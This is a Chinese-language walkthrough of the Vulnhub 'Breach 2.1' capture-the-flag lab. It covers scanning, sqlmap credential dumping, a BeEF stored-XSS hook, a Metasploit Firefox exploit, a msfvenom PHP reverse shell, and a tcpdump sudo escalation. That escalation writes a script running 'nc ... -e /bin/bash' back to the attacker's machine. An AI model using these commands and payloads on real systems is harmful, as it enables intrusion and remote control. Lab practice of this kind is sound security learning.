Vulnhub实战靶场练习:Breach 2.0

一、环境搭建

1、官方下载连接:https://www.vulnhub.com/entry/breach-21,159/

2、下载之后,将压缩包内环境解压出来,使用Oracle VM VirtualBox软件导入环境

3、因为靶场环境设置了固定ip地址192.168.110.151,所以网络模式设置仅主机,攻击机kali设置了两块网卡,第二块网卡设置的网段也为110网段,如果靶场环境打开到引导阶段无法正常启动,界面只有黑色光标闪烁,就打开设置界面,设置系统版本为Debian(64-bit)在启动即可

 

 二、靶场攻略

1、因为知道了ip地址,所以可以直接收集端口服务信息,使用命令:nmap -A -p- 192.168.110.151,发现SSH端口不是默认的22改为了65535

 2、尝试访问ssh,输入命令ssh 192.168.110.151 -p 65535,得到信息,提示如果是Peter的话密码就在源码中 

使用peter账户,尝试连接ssh,看到一样的提示,将inthesource,当做密码,连接成功,但是马上就断开了连接

 3、再次使用nmap扫描主机,发现多出了80端口

4、访问就页面,查看源码,没看到什么有效信息

 

 5、使用命令:dirb http://192.168.110.151/,爆破网站目录,发现跟之前ssh提示相关的blog目录

 

 6、访问之后,发现是个博客

 在搜索框,发现了xss

 有xss,就可能有注入,使用命令:sqlmap -u http://192.168.110.151/blog/index.php\?search\= --dbs,确实注入得到了数据库信息

7、使用命令:sqlmap -u http://192.168.110.151/blog/index.php\?search\= -D oscommerce --tables --dump,得到了用户名,密码

 破解得到密码为admin,但是没有登录窗口

 8、使用  +  Copyright ©2006 Powered by www.blogphp.net,作为关键字,在谷歌搜索,搜到了博客系统版本的漏洞,漏洞是存储的xss,在注册界面,用户名输入编写的payload,可以攻击成功

 

 

 9、启动kali自带的beef-xss平台,如果kali为新版没有安装beef的话,可以使用apt-get install beef-xss直接安装

 

10、打开192.168.110.151的注册界面,将beef的Example语句,输入到注册username注册框中,提交

 

 11、注册成功,返回主页,点开主页发来的提示消息,一会在beef中就收到了主机上线通知

 

 

 12、从beef中获取的消息来看,靶机的浏览器为firefox 15,有一个漏洞可以利用

 

13、启动msfconsole来利用漏洞

输入命令:use exploit/multi/browser/firefox_pro,进入要利用的exp框架

输入命令:set payload generic/shell_reverse_tcp,设置要利用exp所需要的payload

输入命令:set srvhost 192.168.110.122,设置exp所需要的服务端地址,也就是攻击机的ip

输入命令:set uripath shell,设置exp攻击成功之后的url目录

输入命令:set lhost 192.168.110.122,设置payload的ip地址

输入命令:run,启动一次攻击,生成利用的url连接

 14、在beef中,找到Redirect Browser模块,这个模块是把浏览器重定向到输入的url连接中,输入之前msf产生的url之后,点击Execute

在msf中马上收到了session信息

 

因为浏览器的shell会在连接了5秒钟之后失效,所以要在获取到session之后,将迁移shell进程到meterpreter中,获得一个稳定的shell

输入命令: use post/multi/manage/shell_to_meterpreter,进入到转移shell用的模块

输入命令:set session 3,设置要转义的session号

输入命令:run,启动转移,成功转义,获得稳定的shell,session 4

15、输入命令 python -c 'import pty;pty.spawn("/bin/bash")',获得标准shell

 16、因为之前ssh以peter用户登录之后,会瞬间踢掉,然后服务器启动了apache服务,所以去看一下ssh的配置信息,发现了配置文件最下边,如果使用peter账户登录会执行startme脚本

 查看脚本,是sudo的方式执行启动apache服务,之后就踢掉

 继续收集信息,查看电脑开启的端口,发现一个不常见的2323端口

 17、在获得的shell中使用命令telnet 127.0.0.1 2323命令,尝试连接,获得一个坐标:29 45'46" N 95 22'59" W 

 谷歌地图查询坐标,看是一个公园,在Houston Police Memorial

 继续收集信息,查看账户有一个可能跟地名有关的账户:milton

 18、输入命令telnet 127.0.0.1 2323,账户名输入milton,密码使用Houston,看来是成功了,但是又出现一个提示问题whose stapler is it?

 19、因为不知道答案,所以退出telnet链接,输入命令:find /usr -user milton,搜索有关账户milton的文件,搜索到了一个属于账户的脚本/usr/local/bin/cd.py

 查看源码,知道了答案为:mine

再次使用telnet 127.0.0.1 2323连接,成功登录milton账户

 20、登录milton账户之后,收集信息,发现系统又启动了一个8888端口

 访问端口,看到两个网页

 

index.nginx-debian.html为nginx默认首页,没什么利用价值

 

 

21、看文件目录名称,像是之前通过sql注入得到的那系统的管理员密码所在的网站,所以访问http://192.168.110.151:8888/oscommerce/admin/,出现登陆界面,输入账号密码,admin成功登录网站后台管理

 

 22、在tools-->file manager,文件管理器中,发现了在includes-->work目录,有可写入权限

23、使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.123 LPORT=5555 -f raw > shell.php,制作一个反弹shell的脚本,用来上传

24、返回到msfconsole界面

输入命令:use exploit/multi/handler,切换exp模块

输入命令:set payload php/meterpreter/reverse_tcp,使用payload为之前生成后门所用的payload

输入命令:set lhost 192.168.110.123,设置用来接收shell的ip,也就是之前使用

输入命令:set lport 5555,就是之前生成后门所设置的端口

输入命令:run,启动exp,等待接收shell

 25、将生成的后门文件进行上传,点击upload,选择生成的shell.php,再点击upload即可

 26、在浏览器中访问shell.php,访问的url为:http://192.168.110.151:8888/oscommerce/includes/work/shell.php,访问之后,mef顺利接收到shell

 25、开始进行提权,输入命令:sudo -l,发现root不需要密码的命令为tcpdump

26、利用tcpdump进行提权

首先在kali攻击机上执行命令:nc -lvvp 1993

然后在msf刚得到的shell中

输入命令:echo "nc 192.168.110.123 1993 -e /bin/bash"> /tmp/shell.sh,在/tmp目录下写入shell.sh脚本

输入命令:chmod +x /tmp/shell.sh,给shell.sh脚本执行权限

输入命令:sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root,使用tcpdump命令,

 

执行完成之后,发现已经反弹shell到kali的攻击机中,权限为root权限

 27、得到flag,使用命令,cd /root,切换到root目录,直接ls发现是空目录,输入命令:ls -la,看到隐藏文件,发现了.flag.py

 

 输入命令:python .flag.py,得到最后的flag

 

 完

posted @ 2020-09-09 13:17  bonga  阅读(817)  评论(0编辑  收藏  举报